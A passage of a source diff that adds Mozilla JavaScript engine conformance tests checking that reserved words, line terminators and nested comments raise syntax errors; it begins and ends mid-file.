+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "result = this()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-001.js b/js/src/tests/ecma_2/Exceptions/lexical-001.js
new file mode 100644
index 000000000..3dbd61d99
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-001.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-001.js
+ CorrespondsTo: ecma/LexicalConventions/7.2.js
+ ECMA Section: 7.2 Line Terminators
+ Description: - readability
+ - separate tokens
+ - may occur between any two tokens
+ - cannot occur within any token, not even a string
+ - affect the process of automatic semicolon insertion.
+
+ white space characters are:
+ unicode name formal name string representation
+ \u000A line feed <LF> \n
+ \u000D carriage return <CR> \r
+
+ this test uses onerror to capture line numbers. because
+ we use on error, we can only have one test case per file.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "lexical-001";
+var VERSION = "JS1_4";
+var TITLE = "Line Terminators";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = eval("\r\n\expect");
+} catch ( e ) {
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "OBJECT = new Object; result = new OBJECT()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-002.js b/js/src/tests/ecma_2/Exceptions/lexical-002.js
new file mode 100644
index 000000000..19eb30c0d
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-002.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-002.js
+ Corresponds To: ecma/LexicalConventions/7.2-3-n.js
+ ECMA Section: 7.2 Line Terminators
+ Description: - readability
+ - separate tokens
+ - may occur between any two tokens
+ - cannot occur within any token, not even a string
+ - affect the process of automatic semicolon insertion.
+
+ white space characters are:
+ unicode name formal name string representation
+ \u000A line feed <LF> \n
+ \u000D carriage return <CR> \r
+
+ this test uses onerror to capture line numbers. because
+ we use on error, we can only have one test case per file.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "lexical-002";
+var VERSION = "JS1_4";
+var TITLE = "Line Terminators";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ result = eval("\r\n\expect");
+} catch ( e ) {
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "result=eval(\"\r\nexpect\")" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-003.js b/js/src/tests/ecma_2/Exceptions/lexical-003.js
new file mode 100644
index 000000000..46d60cb7f
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-003.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-003.js
+ Corresponds To: 7.3-13-n.js
+ ECMA Section: 7.3 Comments
+ Description:
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-003.js";
+var VERSION = "JS1_4";
+var TITLE = "Comments";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("/*\n/* nested comment */\n*/\n");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "/*/*nested comment*/ */" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-004.js b/js/src/tests/ecma_2/Exceptions/lexical-004.js
new file mode 100644
index 000000000..853887db3
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-004.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-004.js
+ Corresponds To: ecma/LexicalExpressions/7.4.1-1-n.js
+ ECMA Section: 7.4.1
+
+ Description:
+
+ Reserved words cannot be used as identifiers.
+
+ ReservedWord ::
+ Keyword
+ FutureReservedWord
+ NullLiteral
+ BooleanLiteral
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-004";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("var null = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "var null = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-005.js b/js/src/tests/ecma_2/Exceptions/lexical-005.js
new file mode 100644
index 000000000..2f3d3bdd8
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-005.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-005.js
+ Corresponds To: 7.4.1-2.js
+ ECMA Section: 7.4.1
+
+ Description:
+
+ Reserved words cannot be used as identifiers.
+
+ ReservedWord ::
+ Keyword
+ FutureReservedWord
+ NullLiteral
+ BooleanLiteral
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-005";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("true = false;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "true = false" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-006.js b/js/src/tests/ecma_2/Exceptions/lexical-006.js
new file mode 100644
index 000000000..b37fe0d52
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-006.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-006.js
+ Corresponds To: 7.4.2-1.js
+ ECMA Section: 7.4.2
+
+ Description:
+ The following tokens are ECMAScript keywords and may not be used as
+ identifiers in ECMAScript programs.
+
+ Syntax
+
+ Keyword :: one of
+ break for new var
+ continue function return void
+ delete if this while
+ else in typeof with
+
+ This test verifies that the keyword cannot be used as an identifier.
+ Functioinal tests of the keyword may be found in the section corresponding
+ to the function of the keyword.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "lexical-006";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("break = new Object();");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "break = new Object()" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-007.js b/js/src/tests/ecma_2/Exceptions/lexical-007.js
new file mode 100644
index 000000000..255a8b859
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-007.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-005.js
+ Corresponds To: 7.4.1-3-n.js
+ ECMA Section: 7.4.1
+
+ Description:
+
+ Reserved words cannot be used as identifiers.
+
+ ReservedWord ::
+ Keyword
+ FutureReservedWord
+ NullLiteral
+ BooleanLiteral
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-005";
+var VERSION = "JS1_4";
+var TITLE = "Keywords";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("false = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "false = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-008.js b/js/src/tests/ecma_2/Exceptions/lexical-008.js
new file mode 100644
index 000000000..b24b85875
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-008.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-008.js
+ Corresponds To: 7.4.3-1-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-008.js";
+var VERSION = "JS1_4";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("case = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "case = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-009.js b/js/src/tests/ecma_2/Exceptions/lexical-009.js
new file mode 100644
index 000000000..d5dc0ed44
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-009.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-009
+ Corresponds To: 7.4.3-2-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-009";
+var VERSION = "ECMA_1";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("debugger = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "debugger = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-010.js b/js/src/tests/ecma_2/Exceptions/lexical-010.js
new file mode 100644
index 000000000..7e7f8f9fb
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-010.js
@@ -0,0 +1,52 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-010.js
+ Corresponds To: 7.4.3-3-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-010";
+var VERSION = "ECMA_1";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("export = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "export = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-011.js b/js/src/tests/ecma_2/Exceptions/lexical-011.js
new file mode 100644
index 000000000..b67032842
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-011.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-011.js
+ Corresponds To: 7.4.3-4-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-011";
+var VERSION = "JS1_4";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+print("This test requires option javascript.options.strict enabled");
+
+if (!options().match(/strict/))
+{
+ options('strict');
+}
+if (!options().match(/werror/))
+{
+ options('werror');
+}
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("super = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "super = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-012.js b/js/src/tests/ecma_2/Exceptions/lexical-012.js
new file mode 100644
index 000000000..bed3322dd
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-012.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-012.js
+ Corresponds To: 7.4.3-5-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-012";
+var VERSION = "JS1_4";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("catch = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "catch = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-013.js b/js/src/tests/ecma_2/Exceptions/lexical-013.js
new file mode 100644
index 000000000..1fc0bf38a
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-013.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-013.js
+ Corresponds To: 7.4.3-6-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-013";
+var VERSION = "JS1_4";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("default = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "default = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-014.js b/js/src/tests/ecma_2/Exceptions/lexical-014.js
new file mode 100644
index 000000000..05f0c3cf9
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-014.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-014.js
+ Corresponds To: 7.4.3-7-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-014.js";
+var VERSION = "JS1_4";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+print("This test requires option javascript.options.strict enabled");
+
+if (!options().match(/strict/))
+{
+ options('strict');
+}
+if (!options().match(/werror/))
+{
+ options('werror');
+}
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("extends = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "extends = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-015.js b/js/src/tests/ecma_2/Exceptions/lexical-015.js
new file mode 100644
index 000000000..7d8c8e80b
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-015.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-015.js
+ Corresponds To: 7.4.3-8-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-015";
+var VERSION = "JS1_4";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("switch = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "switch = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-016.js b/js/src/tests/ecma_2/Exceptions/lexical-016.js
new file mode 100644
index 000000000..419af22c0
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-016.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-016
+ Corresponds To: 7.4.3-9-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-016";
+var VERSION = "JS1_4";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+print("This test requires option javascript.options.strict enabled");
+
+if (!options().match(/strict/))
+{
+ options('strict');
+}
+if (!options().match(/werror/))
+{
+ options('werror');
+}
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("class = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "class = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-017.js b/js/src/tests/ecma_2/Exceptions/lexical-017.js
new file mode 100644
index 000000000..d7d33b4f0
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-017.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-017.js
+ Corresponds To: 7.4.3-10-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-017";
+var VERSION = "JS1_4";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("do = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "do = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-018.js b/js/src/tests/ecma_2/Exceptions/lexical-018.js
new file mode 100644
index 000000000..4d151e67b
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-018.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-018
+ Corresponds To: 7.4.3-11-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-018";
+var VERSION = "JS1_4";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("finally = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "finally = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-019.js b/js/src/tests/ecma_2/Exceptions/lexical-019.js
new file mode 100644
index 000000000..0280b7710
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-019.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-019.js
+ Corresponds To: 7.4.3-12-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-019";
+var VERSION = "JS1_4";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("throw = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "throw = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-020.js b/js/src/tests/ecma_2/Exceptions/lexical-020.js
new file mode 100644
index 000000000..7be919181
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-020.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-020.js
+ Corresponds To 7.4.3-13-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-020";
+var VERSION = "JS1_4";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("const = true;");
+} catch ( e ) {
+ result = expect;
+ exception = e.toString();
+}
+
+new TestCase(
+ SECTION,
+ "const = true" +
+ " (threw " + exception +")",
+ expect,
+ result );
+
+test();
+
+
diff --git a/js/src/tests/ecma_2/Exceptions/lexical-021.js b/js/src/tests/ecma_2/Exceptions/lexical-021.js
new file mode 100644
index 000000000..a3b4422cc
--- /dev/null
+++ b/js/src/tests/ecma_2/Exceptions/lexical-021.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: lexical-021.js
+ Corresponds To: 7.4.3-14-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "lexical-021.js";
+var VERSION = "ECMA_1";
+var TITLE = "Future Reserved Words";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+print("This test requires option javascript.options.strict enabled");
+
+if (!options().match(/strict/))
+{
+ options('strict');
+}
+if (!options().match(/werror/))
+{
+ options('werror');
+}
+
+var result = "Failed";
+var exception = "No exception thrown";
+var expect = "Passed";
+
+try {
+ eval("enum = true;");
+} catch ( e ) {
